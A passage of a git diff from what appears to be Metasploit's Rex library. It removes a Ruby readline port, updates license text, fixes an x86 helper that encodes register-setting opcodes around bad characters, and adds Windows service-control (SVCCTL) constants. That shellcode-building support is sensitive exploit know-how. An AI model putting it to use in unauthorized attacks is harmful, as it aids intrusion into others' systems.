for j in 0 ... limit - if (l > len || matches[l].nil?) - break - else - temp = printable_part(matches[l]) - printed_len = print_filename(temp, matches[l]) - - if (j + 1 < limit) - @rl_outstream.write(' '*(max - printed_len)) - end - end - l += count - end - rl_crlf() - lines+=1 - if (@_rl_page_completions && lines >= (@_rl_screenheight - 1) && i < count) - lines = _rl_internal_pager(lines) - return if (lines < 0) - end - end - else - # Print the sorted items, across alphabetically, like ls -x. - i = 1 - while(matches[i]) - temp = printable_part(matches[i]) - printed_len = print_filename(temp, matches[i]) - # Have we reached the end of this line? - if (matches[i+1]) - if ((limit > 1) && (i % limit) == 0) - rl_crlf() - lines+=1 - if (@_rl_page_completions && lines >= @_rl_screenheight - 1) - lines = _rl_internal_pager(lines) - return if (lines < 0) - end - else - @rl_outstream.write(' '*(max - printed_len)) - end - end - i += 1 - end - rl_crlf() - end - end - - # Append any necessary closing quote and a separator character to the - # just-inserted match. If the user has specified that directories - # should be marked by a trailing `/', append one of those instead. The - # default trailing character is a space. Returns the number of characters - # appended. If NONTRIVIAL_MATCH is set, we test for a symlink (if the OS - # has them) and don't add a suffix for a symlink to a directory. A - # nontrivial match is one that actually adds to the word being completed. - # The variable rl_completion_mark_symlink_dirs controls this behavior - # (it's initially set to the what the user has chosen, indicated by the - # value of _rl_complete_mark_symlink_dirs, but may be modified by an - # application's completion function). - def append_to_match(text, delimiter, quote_char, nontrivial_match) - temp_string = 0.chr * 4 - temp_string_index = 0 - if (quote_char && @rl_point>0 && !@rl_completion_suppress_quote && - @rl_line_buffer[@rl_point - 1,1] != quote_char) - temp_string[temp_string_index] = quote_char - temp_string_index += 1 - end - if (delimiter != 0.chr) - temp_string[temp_string_index] = delimiter - temp_string_index += 1 - elsif (!@rl_completion_suppress_append && @rl_completion_append_character) - temp_string[temp_string_index] = @rl_completion_append_character - temp_string_index += 1 - end - temp_string[temp_string_index] = 0.chr - temp_string_index += 1 - - if (@rl_filename_completion_desired) - filename = File.expand_path(text) - s = (nontrivial_match && !@rl_completion_mark_symlink_dirs) ? - File.lstat(filename) : File.stat(filename) - if s.directory? - if @_rl_complete_mark_directories - # This is clumsy. Avoid putting in a double slash if point - # is at the end of the line and the previous character is a - # slash. - if (@rl_point>0 && @rl_line_buffer[@rl_point,1] == 0.chr && @rl_line_buffer[@rl_point - 1,1] == '/' ) - - elsif (@rl_line_buffer[@rl_point,1] != '/') - rl_insert_text('/') - end - end - # Don't add anything if the filename is a symlink and resolves to a - # directory. - elsif s.symlink? && File.stat(filename).directory? - - else - if (@rl_point == @rl_end && temp_string_index>0) - rl_insert_text(temp_string) - end - end - filename = nil - else - if (@rl_point == @rl_end && temp_string_index>0) - rl_insert_text(temp_string) - end - end - temp_string_index - end - - # Stifle the history list, remembering only MAX number of lines. - def stifle_history(max) - max = 0 if (max < 0) - - if (@history_length > max) - @the_history.slice!(0,(@history_length - max)) - @history_length = max - end - - @history_stifled = true - @max_input_history = @history_max_entries = max - end - - # Stop stifling the history. This returns the previous maximum - # number of history entries. The value is positive if the history - # was stifled, negative if it wasn't. - def unstifle_history() - if (@history_stifled) - @history_stifled = false - return (@history_max_entries) - else - return (-@history_max_entries) - end - end - - def history_is_stifled() - return (@history_stifled) - end - - def clear_history() - @the_history = nil - @history_offset = @history_length = 0 - end - - # Insert COUNT characters from STRING to the output stream at column COL. - def insert_some_chars(string, count, col) - if @hConsoleHandle - _rl_output_some_chars(string,0,count) - else - # DEBUGGING - if (@rl_byte_oriented) - if (count != col) - $stderr.write("readline: debug: insert_some_chars: count (#{count}) != col (#{col})\n"); - end - end - # If IC is defined, then we do not have to "enter" insert mode. - #if (@_rl_term_IC) - # buffer = tgoto(@_rl_term_IC, 0, col) - # @_rl_out_stream.write(buffer) - # _rl_output_some_chars(string,0,count) - #else - # If we have to turn on insert-mode, then do so. - if (@_rl_term_im) - @_rl_out_stream.write(@_rl_term_im) - end - # If there is a special command for inserting characters, then - # use that first to open up the space. - if (@_rl_term_ic) - @_rl_out_stream.write(@_rl_term_ic * count) - end - - # Print the text. - _rl_output_some_chars(string,0, count) - - # If there is a string to turn off insert mode, we had best use - # it now. - if (@_rl_term_ei) - @_rl_out_stream.write(@_rl_term_ei) - end - #end - end - end - - # Delete COUNT characters from the display line. - def delete_chars(count) - return if (count > @_rl_screenwidth) # XXX - - if @hConsoleHandle.nil? - #if (@_rl_term_DC) - # buffer = tgoto(_rl_term_DC, count, count); - # @_rl_out_stream.write(buffer * count) - #else - if (@_rl_term_dc) - @_rl_out_stream.write(@_rl_term_dc * count) - end - #end - end - end - - # adjust pointed byte and find mbstate of the point of string. - # adjusted point will be point <= adjusted_point, and returns - # differences of the byte(adjusted_point - point). - # if point is invalied (point < 0 || more than string length), - # it returns -1 - def _rl_adjust_point(string, point) - - length = string.length - return -1 if (point < 0) - return -1 if (length < point) - - pos = 0 - - case @encoding - when 'E' - pos = string.scan(/./me).inject(0){|r,x| r<point ? r += x.length : r } - when 'S' - pos = string.scan(/./ms).inject(0){|r,x| r<point ? r += x.length : r } - when 'U' - pos = string.scan(/./mu).inject(0){|r,x| r<point ? r += x.length : r } - when 'X' - pos = string.dup.force_encoding(@encoding_name).chars.inject(0){|r,x| r<point ? r += x.bytesize : r } - else - pos = point - end - pos - point - end - - # Find next `count' characters started byte point of the specified seed. - # If flags is MB_FIND_NONZERO, we look for non-zero-width multibyte - # characters. - def _rl_find_next_mbchar(string, seed, count, flags) - if @encoding == 'N' - return (seed + count) - end - seed = 0 if seed < 0 - return seed if count <= 0 - - point = seed + _rl_adjust_point(string,seed) - if (seed < point) - count -= 1 - end - - str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/n,'') : string - - case @encoding - when 'E' - point += str[point..-1].scan(/./me)[0,count].to_s.length - when 'S' - point += str[point..-1].scan(/./ms)[0,count].to_s.length - when 'U' - point += str[point..-1].scan(/./mu)[0,count].to_s.length - when 'X' - point += str[point..-1].force_encoding(@encoding_name)[0,count].bytesize - else - point += count - point = str.length if point >= str.length - end - point - end - - # Find previous character started byte point of the specified seed. - # Returned point will be point <= seed. If flags is MB_FIND_NONZERO, - # we look for non-zero-width multibyte characters. - def _rl_find_prev_mbchar(string, seed, flags) - if @encoding == 'N' - return ((seed == 0) ? seed : seed - 1) - end - - length = string.length - if seed < 0 - return 0 - elsif length < seed - return length - end - - case @encoding - when 'E' - string[0,seed].scan(/./me)[0..-2].to_s.length - when 'S' - string[0,seed].scan(/./ms)[0..-2].to_s.length - when 'U' - string[0,seed].scan(/./mu)[0..-2].to_s.length - when 'X' - string[0,seed].force_encoding(@encoding_name)[0..-2].bytesize - end - end - - # compare the specified two characters. If the characters matched, - # return true. Otherwise return false. - def _rl_compare_chars(buf1, pos1, buf2, pos2) - return false if buf1[pos1].nil? || buf2[pos2].nil? - case @encoding - when 'E' - buf1[pos1..-1].scan(/./me)[0] == buf2[pos2..-1].scan(/./me)[0] - when 'S' - buf1[pos1..-1].scan(/./ms)[0] == buf2[pos2..-1].scan(/./ms)[0] - when 'U' - buf1[pos1..-1].scan(/./mu)[0] == buf2[pos2..-1].scan(/./mu)[0] - when 'X' - buf1[pos1..-1].force_encoding(@encoding_name)[0] == buf2[pos2..-1].force_encoding(@encoding_name)[0] - else - buf1[pos1] == buf2[pos2] - end - end - - # return the number of bytes parsed from the multibyte sequence starting - # at src, if a non-L'\0' wide character was recognized. It returns 0, - # if a L'\0' wide character was recognized. It returns (size_t)(-1), - # if an invalid multibyte sequence was encountered. It returns (size_t)(-2) - # if it couldn't parse a complete multibyte character. - def _rl_get_char_len(src) - return 0 if src[0,1] == 0.chr || src.length==0 - case @encoding - when 'E' - len = src.scan(/./me)[0].to_s.length - when 'S' - len = src.scan(/./ms)[0].to_s.length - when 'U' - len = src.scan(/./mu)[0].to_s.length - when 'X' - src = src.dup.force_encoding(@encoding_name) - len = src.valid_encoding? ? src[0].bytesize : 0 - else - len = 1 - end - len==0 ? -2 : len - end - - # read multibyte char - def _rl_read_mbchar(mbchar, size) - mb_len = 0 - while (mb_len < size) - rl_setstate(RL_STATE_MOREINPUT) - mbchar << rl_read_key() - mb_len += 1 - rl_unsetstate(RL_STATE_MOREINPUT) - case @encoding - when 'E' - break unless mbchar.scan(/./me).empty? - when 'S' - break unless mbchar.scan(/./ms).empty? - when 'U' - break unless mbchar.scan(/./mu).empty? - when 'X' - break if mbchar.dup.force_encoding(@encoding_name).valid_encoding? - end - end - mb_len - end - - # Read a multibyte-character string whose first character is FIRST into - # the buffer MB of length MLEN. Returns the last character read, which - # may be FIRST. Used by the search functions, among others. Very similar - # to _rl_read_mbchar. - def _rl_read_mbstring(first, mb, mlen) - c = first - for i in 0 ... mlen - mb << c - if _rl_get_char_len(mb) == -2 - # Read more for multibyte character - rl_setstate(RL_STATE_MOREINPUT) - c = rl_read_key() - rl_unsetstate(RL_STATE_MOREINPUT) - else - break - end - end - c - end - - def _rl_is_mbchar_matched(string, seed, _end, mbchar, length) - return 0 if ((_end - seed) < length) - - for i in 0 ... length - if (string[seed + i] != mbchar[i]) - return 0 - end - end - 1 - end - - # Redraw the last line of a multi-line prompt that may possibly contain - # terminal escape sequences. Called with the cursor at column 0 of the - # line to draw the prompt on. - def redraw_prompt(t) - oldp = @rl_display_prompt - rl_save_prompt() - - @rl_display_prompt = t - @local_prompt,@prompt_visible_length,@prompt_last_invisible,@prompt_invis_chars_first_line,@prompt_physical_chars = - expand_prompt(t) - @local_prompt_prefix = nil - @local_prompt_len = @local_prompt ? @local_prompt.length : 0 - - rl_forced_update_display() - - @rl_display_prompt = oldp - rl_restore_prompt() - end - - # Redisplay the current line after a SIGWINCH is received. - def _rl_redisplay_after_sigwinch() - # Clear the current line and put the cursor at column 0. Make sure - # the right thing happens if we have wrapped to a new screen line. - if @_rl_term_cr - @rl_outstream.write(@_rl_term_cr) - @_rl_last_c_pos = 0 - if @_rl_term_clreol - @rl_outstream.write(@_rl_term_clreol) - else - space_to_eol(@_rl_screenwidth) - @rl_outstream.write(@_rl_term_cr) - end - - if @_rl_last_v_pos > 0 - _rl_move_vert(0) - end - else - rl_crlf() - end - - # Redraw only the last line of a multi-line prompt. - t = @rl_display_prompt.index("\n") - if t - redraw_prompt(@rl_display_prompt[(t+1)..-1]) - else - rl_forced_update_display() - end - end - - def rl_resize_terminal() - if @readline_echoing_p - _rl_get_screen_size(@rl_instream.fileno, 1) - if @rl_redisplay_function != :rl_redisplay - rl_forced_update_display() - else - _rl_redisplay_after_sigwinch() - end - end - end - - def rl_sigwinch_handler(sig) - rl_setstate(RL_STATE_SIGHANDLER) - rl_resize_terminal() - rl_unsetstate(RL_STATE_SIGHANDLER) - end - - - - module_function :rl_attempted_completion_function,:rl_deprep_term_function, - :rl_event_hook,:rl_attempted_completion_over,:rl_basic_quote_characters, - :rl_basic_word_break_characters,:rl_completer_quote_characters, - :rl_completer_word_break_characters,:rl_completion_append_character, - :rl_filename_quote_characters,:rl_instream,:rl_library_version,:rl_outstream, - :rl_readline_name, - :rl_attempted_completion_function=,:rl_deprep_term_function=, - :rl_event_hook=,:rl_attempted_completion_over=,:rl_basic_quote_characters=, - :rl_basic_word_break_characters=,:rl_completer_quote_characters=, - :rl_completer_word_break_characters=,:rl_completion_append_character=, - :rl_filename_quote_characters=,:rl_instream=,:rl_library_version=,:rl_outstream=, - :rl_readline_name=,:history_length,:history_base - - def no_terminal? - term = ENV["TERM"] - term.nil? || (term == 'dumb') || (term == 'cygwin' && RUBY_PLATFORM =~ /mswin|mingw/) - end - private :no_terminal? - -end diff --git a/lib/readline_compatible.rb b/lib/readline_compatible.rb deleted file mode 100644 index 944b760b4f..0000000000 --- a/lib/readline_compatible.rb +++ /dev/null @@ -1,554 +0,0 @@ -# readline.rb -- GNU Readline module -# Copyright (C) 1997-2001 Shugo Maed -# -# Ruby translation by Park Heesob phasis@gmail.com - -=begin -Copyright (c) 2009, Park Heesob -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -* Redistributions in binary form must reproduce the above copyright notice - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. -* Neither the name of Park Heesob nor the names of its contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -=end - -require 'windows_console_color_support' - -module Readline - - require 'rbreadline' - include RbReadline - - @completion_proc = nil - @completion_case_fold = false - - # - # A sneaky way to prevent the real Readline from loading after us - # - $LOADED_FEATURES.unshift("readline.rb") - - # Begins an interactive terminal process using +prompt+ as the command - # prompt that users see when they type commands. The method returns the - # line entered whenever a carriage return is encountered. - # - # If an +add_history+ argument is provided, commands entered by users are - # stored in a history buffer that can be recalled for later use. - # - # Note that this method depends on $stdin and $stdout both being open. - # Because this is meant as an interactive console interface, they should - # generally not be redirected. - # - # Example: - # - # loop{ Readline.readline('> ') } - # - def readline(prompt, add_history=nil) - if $stdin.closed? - raise IOError, "stdin closed" - end - - status = 0 - - begin - RbReadline.rl_instream = $stdin - RbReadline.rl_outstream = $stdout - if (Rex::Compat.is_windows) - RbReadline.rl_outstream = WindowsConsoleColorSupport.new($stdout) - end - buff = RbReadline.readline(prompt) - rescue ::Interrupt - raise $! - rescue Exception => e - buff = nil - RbReadline.rl_cleanup_after_signal() - RbReadline.rl_deprep_terminal() - $stderr.puts "[-] RbReadline Error: #{e.class} #{e} #{e.backtrace}" - retry - end - - if add_history && buff - RbReadline.add_history(buff) - end - - return buff ? buff.dup : nil - end - - # Sets the input stream (an IO object) for readline interaction. The - # default is <tt>$stdin</tt>. - # - def self.input=(input) - RbReadline.rl_instream = input - end - - # Sets the output stream (an IO object) for readline interaction. The - # default is <tt>$stdout</tt>. - # - def self.output=(output) - RbReadline.rl_outstream = output - end - - # Sets the auto-completion procedure (i.e. tab auto-complete). - # - # The +proc+ argument is typically a Proc object. It must respond to - # <tt>.call</tt>, take a single String argument and return an Array of - # candidates for completion. - # - # Example: - # - # list = ['search', 'next', 'clear'] - # Readline.completion_proc = proc{ |s| list.grep( /^#{Regexp.escape(s)}/) } - # - def self.completion_proc=(proc) - unless defined? proc.call - raise ArgumentError,"argument must respond to `call'" - end - @completion_proc = proc - end - - # Returns the current auto-completion procedure. - # - def self.completion_proc() - @completion_proc - end - - # Sets whether or not the completion proc should ignore case sensitivity. - # The default is false, i.e. completion procs are case sensitive. - # - def self.completion_case_fold=(bool) - @completion_case_fold = bool - end - - # Returns whether or not the completion proc is case sensitive. The - # default is false, i.e. completion procs are case sensitive. - # - def self.completion_case_fold() - @completion_case_fold - end - - def self.readline_attempted_completion_function(text,start,_end) - proc = @completion_proc - return nil if proc.nil? - - RbReadline.rl_attempted_completion_over = true - - # Remove leading spaces - text.gsub!(/^\s+/, '') - - case_fold = @completion_case_fold - ary = proc.call(text) - if ary.class != Array - ary = Array(ary) - else - ary.compact! - ary.uniq! - end - - ary.delete('') - - matches = ary.length - return nil if (matches == 0) - - if(matches == 1) - ary[0] = ary[0].strip + " " - end - - result = Array.new(matches+2) - for i in 0 ... matches - result[i+1] = ary[i].dup - end - result[matches+1] = nil - - if(matches==1) - result[0] = result[1].dup - else - i = 1 - low = 100000 - - while (i < matches) - if (case_fold) - si = 0 - while ((c1 = result[i][si,1].downcase) && - (c2 = result[i + 1][si,1].downcase)) - break if (c1 != c2) - si += 1 - end - else - si = 0 - while ((c1 = result[i][si,1]) && - (c2 = result[i + 1][si,1])) - break if (c1 != c2) - si += 1 - end - end - if (low > si) - low = si - end - i+=1 - end - result[0] = result[1][0,low] - end - - result - end - - # Sets vi editing mode. - # - def self.vi_editing_mode() - RbReadline.rl_vi_editing_mode(1,0) - nil - end - - # Sets emacs editing mode - # - def self.emacs_editing_mode() - RbReadline.rl_emacs_editing_mode(1,0) - nil - end - - # Sets the character that is automatically appended after the - # Readline.completion_proc method is called. - # - # If +char+ is nil or empty, then a null character is used. - # - def self.completion_append_character=(char) - if char.nil? - RbReadline.rl_completion_append_character = ?\0 - elsif char.length==0 - RbReadline.rl_completion_append_character = ?\0 - else - RbReadline.rl_completion_append_character = char[0] - end - end - - # Returns the character that is automatically appended after the - # Readline.completion_proc method is called. - # - def self.completion_append_character() - if RbReadline.rl_completion_append_character == ?\0 - nil - end - return RbReadline.rl_completion_append_character - end - - # Sets the character string that signal a break between words for the - # completion proc. - # - def self.basic_word_break_characters=(str) - RbReadline.rl_basic_word_break_characters = str.dup - end - - # Returns the character string that signal a break between words for the - # completion proc. The default is " \t\n\"\\'`@$><=|&{(". - # - def self.basic_word_break_characters() - if RbReadline.rl_basic_word_break_characters.nil? - nil - else - RbReadline.rl_basic_word_break_characters.dup - end - end - - # Sets the character string that signal the start or end of a word for - # the completion proc. - # - def self.completer_word_break_characters=(str) - RbReadline.rl_completer_word_break_characters = str.dup - end - - # Returns the character string that signal the start or end of a word for - # the completion proc. - # - def self.completer_word_break_characters() - if RbReadline.rl_completer_word_break_characters.nil? - nil - else - RbReadline.rl_completer_word_break_characters.dup - end - end - - # Sets the list of quote characters that can cause a word break. - # - def self.basic_quote_characters=(str) - RbReadline.rl_basic_quote_characters = str.dup - end - - # Returns the list of quote characters that can cause a word break. - # The default is "'\"" (single and double quote characters). - # - def self.basic_quote_characters() - if RbReadline.rl_basic_quote_characters.nil? - nil - else - RbReadline.rl_basic_quote_characters.dup - end - end - - # Sets the list of characters that can be used to quote a substring of - # the line, i.e. a group of characters within quotes. - # - def self.completer_quote_characters=(str) - RbReadline.rl_completer_quote_characters = str.dup - end - - # Returns the list of characters that can be used to quote a substring - # of the line, i.e. a group of characters inside quotes. - # - def self.completer_quote_characters() - if RbReadline.rl_completer_quote_characters.nil? - nil - else - RbReadline.rl_completer_quote_characters.dup - end - end - - # Sets the character string of one or more characters that indicate quotes - # for the filename completion of user input. - # - def self.filename_quote_characters=(str) - RbReadline.rl_filename_quote_characters = str.dup - end - - # Returns the character string used to indicate quotes for the filename - # completion of user input. - # - def self.filename_quote_characters() - if RbReadline.rl_filename_quote_characters.nil? - nil - else - RbReadline.rl_filename_quote_characters.dup - end - end - - # The History class encapsulates a history of all commands entered by - # users at the prompt, providing an interface for inspection and retrieval - # of all commands. - class History - extend Enumerable - - # The History class, stringified in all caps. - #-- - # Why? - # - def self.to_s - "HISTORY" - end - - # Returns the command that was entered at the specified +index+ - # in the history buffer. - # - # Raises an IndexError if the entry is nil. - # - def self.[](index) - if index < 0 - index += RbReadline.history_length - end - entry = RbReadline.history_get(RbReadline.history_base+index) - if entry.nil? - raise IndexError,"invalid index" - end - entry.line.dup - end - - # Sets the command +str+ at the given index in the history buffer. - # - # You can only replace an existing entry. Attempting to create a new - # entry will result in an IndexError. - # - def self.[]=(index,str) - if index<0 - index += RbReadline.history_length - end - entry = RbReadline.replace_history_entry(index,str,nil) - if entry.nil? - raise IndexError,"invalid index" - end - str - end - - # Synonym for Readline.add_history. - # - def self.<<(str) - RbReadline.add_history(str) - end - - # Pushes a list of +args+ onto the history buffer. - # - def self.push(*args) - args.each do |str| - RbReadline.add_history(str) - end - end - - # Internal function that removes the item at +index+ from the history - # buffer, performing necessary duplication in the process. - #-- - # TODO: mark private? - # - def self.rb_remove_history(index) - entry = RbReadline.remove_history(index) - if (entry) - val = entry.line.dup - entry = nil - return val - end - nil - end - - # Removes and returns the last element from the history buffer. - # - def self.pop() - if RbReadline.history_length>0 - rb_remove_history(RbReadline.history_length-1) - else - nil - end - end - - # Removes and returns the first element from the history buffer. - # - def self.shift() - if RbReadline.history_length>0 - rb_remove_history(0) - else - nil - end - end - - # Iterates over each entry in the history buffer. - # - def self.each() - for i in 0 ... RbReadline.history_length - entry = RbReadline.history_get(RbReadline.history_base + i) - break if entry.nil? - yield entry.line.dup - end - self - end - - # Returns the length of the history buffer. - # - def self.length() - RbReadline.history_length - end - - # Synonym for Readline.length. - # - def self.size() - RbReadline.history_length - end - - # Returns a bolean value indicating whether or not the history buffer - # is empty. - # - def self.empty?() - RbReadline.history_length == 0 - end - - # Deletes an entry from the histoyr buffer at the specified +index+. - # - def self.delete_at(index) - if index < 0 - i += RbReadline.history_length - end - if index < 0 || index > RbReadline.history_length - 1 - raise IndexError, "invalid index" - end - rb_remove_history(index) - end - - end - - HISTORY = History - - # The Fcomp class provided to encapsulate typical filename completion - # procedure. You will not typically use this directly, but will instead - # use the Readline::FILENAME_COMPLETION_PROC. - # - class Fcomp - def self.call(str) - matches = RbReadline.rl_completion_matches(str, - :rl_filename_completion_function) - if (matches) - result = [] - i = 0 - while(matches[i]) - result << matches[i].dup - matches[i] = nil - i += 1 - end - matches = nil - if (result.length >= 2) - result.shift - end - else - result = nil - end - return result - end - end - - FILENAME_COMPLETION_PROC = Fcomp - - # The Ucomp class provided to encapsulate typical filename completion - # procedure. You will not typically use this directly, but will instead - # use the Readline::USERNAME_COMPLETION_PROC. - # - # Note that this feature currently only works on Unix systems since it - # ultimately uses the Etc module to iterate over a list of users. - # - class Ucomp - def self.call(str) - matches = RbReadline.rl_completion_matches(str, - :rl_username_completion_function) - if (matches) - result = [] - i = 0 - while(matches[i]) - result << matches[i].dup - matches[i] = nil - i += 1 - end - matches = nil - if (result.length >= 2) - result.shift - end - else - result = nil - end - return result - end - end - - USERNAME_COMPLETION_PROC = Ucomp - - RbReadline.rl_readline_name = "Ruby" - - RbReadline.using_history() - - VERSION = RbReadline.rl_library_version - - module_function :readline - - RbReadline.rl_attempted_completion_function = :readline_attempted_completion_function - -end - diff --git a/lib/rex.rb b/lib/rex.rb index b5452ec195..8b6140ea34 100644 --- a/lib/rex.rb +++ b/lib/rex.rb @@ -1,8 +1,9 @@ +# -*- coding: binary -*- =begin The Metasploit Rex library is provided under the 3-clause BSD license. -Copyright (c) 2005-2010, Rapid7 LLC +Copyright (c) 2005-2014, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, @@ -15,7 +16,7 @@ are permitted provided that the following conditions are met: this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of Rapid7 LLC nor the names of its contributors may be + * Neither the name of Rapid7, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. diff --git a/lib/rex/LICENSE b/lib/rex/LICENSE index 0c087d9684..bca0cd8cee 100644 --- a/lib/rex/LICENSE +++ b/lib/rex/LICENSE @@ -1,6 +1,6 @@ The Metasploit Rex library is provided under the 3-clause BSD license. -Copyright (c) 2005-2006, Rapid7 LLC +Copyright (c) 2005-2006, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, @@ -13,7 +13,7 @@ are permitted provided that the following conditions are met: this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of Rapid7 LLC nor the names of its contributors may be + * Neither the name of Rapid7, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. diff --git a/lib/rex/arch.rb b/lib/rex/arch.rb index f0d0a1a598..dfb88e3b19 100644 --- a/lib/rex/arch.rb +++ b/lib/rex/arch.rb @@ -48,8 +48,8 @@ module Arch case arch when ARCH_X86 [addr].pack('V') - when ARCH_X86_64 - [addr].pack('Q') + when ARCH_X86_64, ARCH_X64 + [addr].pack('Q<') when ARCH_MIPS # ambiguous [addr].pack('N') when ARCH_MIPSBE diff --git a/lib/rex/arch/x86.rb b/lib/rex/arch/x86.rb index 42743e993d..87f996eb57 100644 --- a/lib/rex/arch/x86.rb +++ b/lib/rex/arch/x86.rb @@ -244,7 +244,7 @@ module X86 _check_reg(dst) # If the value is 0 try xor/sub dst, dst (2 bytes) - if(val == 0) + if val == 0 opcodes = Rex::Text.remove_badchars("\x29\x2b\x31\x33", badchars) if !opcodes.empty? return opcodes[rand(opcodes.length)].chr + encode_modrm(dst, dst) @@ -261,8 +261,9 @@ module X86 # try clear dst, mov BYTE dst (4 bytes) begin - # break if val == 0 - return _check_badchars(clear(dst, badchars) + mov_byte(dst, val), badchars) + unless val == 0 # clear tries to set(dst, 0, badchars), entering an infinite recursion + return _check_badchars(clear(dst, badchars) + mov_byte(dst, val), badchars) + end rescue ::ArgumentError, ::RuntimeError, ::RangeError end @@ -280,8 +281,9 @@ module X86 # try clear dst, mov WORD dst (6 bytes) begin - # break if val == 0 - return _check_badchars(clear(dst, badchars) + mov_word(dst, val), badchars) + unless val == 0 # clear tries to set(dst, 0, badchars), entering an infinite recursion + return _check_badchars(clear(dst, badchars) + mov_word(dst, val), badchars) + end rescue ::ArgumentError, ::RuntimeError, ::RangeError end @@ -518,6 +520,22 @@ module X86 return nil end + # + # Parse a list of registers as a space or command delimited + # string and return the internal register IDs as an array + # + def self.register_names_to_ids(str) + register_ids = [] + str.to_s.strip.split(/[,\s]/). + map {|reg| reg.to_s.strip.upcase }. + select {|reg| reg.length > 0 }. + uniq.each do |reg| + next unless self.const_defined?(reg.intern) + register_ids << self.const_get(reg.intern) + end + register_ids + end + end end end diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb index 049a6801b5..d5be93077a 100644 --- a/lib/rex/constants.rb +++ b/lib/rex/constants.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- + # # Log severities # diff --git a/lib/rex/constants/windows.rb b/lib/rex/constants/windows.rb new file mode 100644 index 0000000000..6921414a77 --- /dev/null +++ b/lib/rex/constants/windows.rb @@ -0,0 +1,147 @@ +module Rex::Constants +module Windows + + ## + # + # Access Types + # winnt.h + # + ## + + STANDARD_RIGHTS_REQUIRED = 0x000F0000 + + ## + # + # Errors + # + ## + + ERROR_SUCCESS = 0x0 + ERROR_FILE_NOT_FOUND = 0x2 + ERROR_ACCESS_DENIED = 0x5 + ERROR_SERVICE_REQUEST_TIMEOUT = 0x41D + ERROR_SERVICE_EXISTS = 0x431 + + ## + # + # SVCCTL Protocol Functions + # http://msdn.microsoft.com/en-us/library/cc245920.aspxa + # + ## + + CLOSE_SERVICE_HANDLE = 0x00 + CONTROL_SERVICE = 0x01 + DELETE_SERVICE = 0x02 + QUERY_SERVICE_STATUS = 0x05 + CHANGE_SERVICE_CONFIG_W = 0x0b + CREATE_SERVICE_W = 0x0c + OPEN_SC_MANAGER_W = 0x0f + OPEN_SERVICE_W = 0x10 + CHANGE_SERVICE_CONFIG2_W = 0x25 + + ## + # + # Services + # winsvc.h + ## + + SERVICE_WIN32_OWN_PROCESS = 0x10 + SERVICE_INTERACTIVE_PROCESS = 0x100 + + SERVICE_BOOT_START = 0x00 + SERVICE_SYSTEM_START = 0x01 + SERVICE_AUTO_START = 0x02 + SERVICE_DEMAND_START = 0x03 + SERVICE_DISABLED = 0x04 + + SERVICE_ERROR_IGNORE = 0x0 + + SERVICE_NO_CHANGE = 0xffffffff + SERVICE_ACTIVE = 0x00000001 + SERVICE_INACTIVE = 0x00000002 + SERVICE_STATE_ALL = (SERVICE_ACTIVE | + SERVICE_INACTIVE) + SERVICE_CONTROL_STOP = 0x00000001 + SERVICE_CONTROL_PAUSE = 0x00000002 + SERVICE_CONTROL_CONTINUE = 0x00000003 + SERVICE_CONTROL_INTERROGATE = 0x00000004 + SERVICE_CONTROL_SHUTDOWN = 0x00000005 + SERVICE_CONTROL_PARAMCHANGE = 0x00000006 + SERVICE_CONTROL_NETBINDADD = 0x00000007 + SERVICE_CONTROL_NETBINDREMOVE = 0x00000008 + SERVICE_CONTROL_NETBINDENABLE = 0x00000009 + SERVICE_CONTROL_NETBINDDISABLE = 0x0000000A + SERVICE_CONTROL_DEVICEEVENT = 0x0000000B + SERVICE_CONTROL_HARDWAREPROFILECHANGE =0x0000000C + SERVICE_CONTROL_POWEREVENT = 0x0000000D + SERVICE_CONTROL_SESSIONCHANGE = 0x0000000E + SERVICE_CONTROL_PRESHUTDOWN = 0x0000000F + SERVICE_CONTROL_TIMECHANGE = 0x00000010 + SERVICE_CONTROL_TRIGGEREVENT = 0x00000020 + SERVICE_STOPPED = 0x00000001 + SERVICE_START_PENDING = 0x00000002 + SERVICE_STOP_PENDING = 0x00000003 + SERVICE_RUNNING = 0x00000004 + SERVICE_CONTINUE_PENDING = 0x00000005 + SERVICE_PAUSE_PENDING = 0x00000006 + SERVICE_PAUSED = 0x00000007 + SERVICE_ACCEPT_STOP = 0x00000001 + SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002 + SERVICE_ACCEPT_SHUTDOWN = 0x00000004 + SERVICE_ACCEPT_PARAMCHANGE = 0x00000008 + SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010 + SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020 + SERVICE_ACCEPT_POWEREVENT = 0x00000040 + SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080 + SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100 + SERVICE_ACCEPT_TIMECHANGE 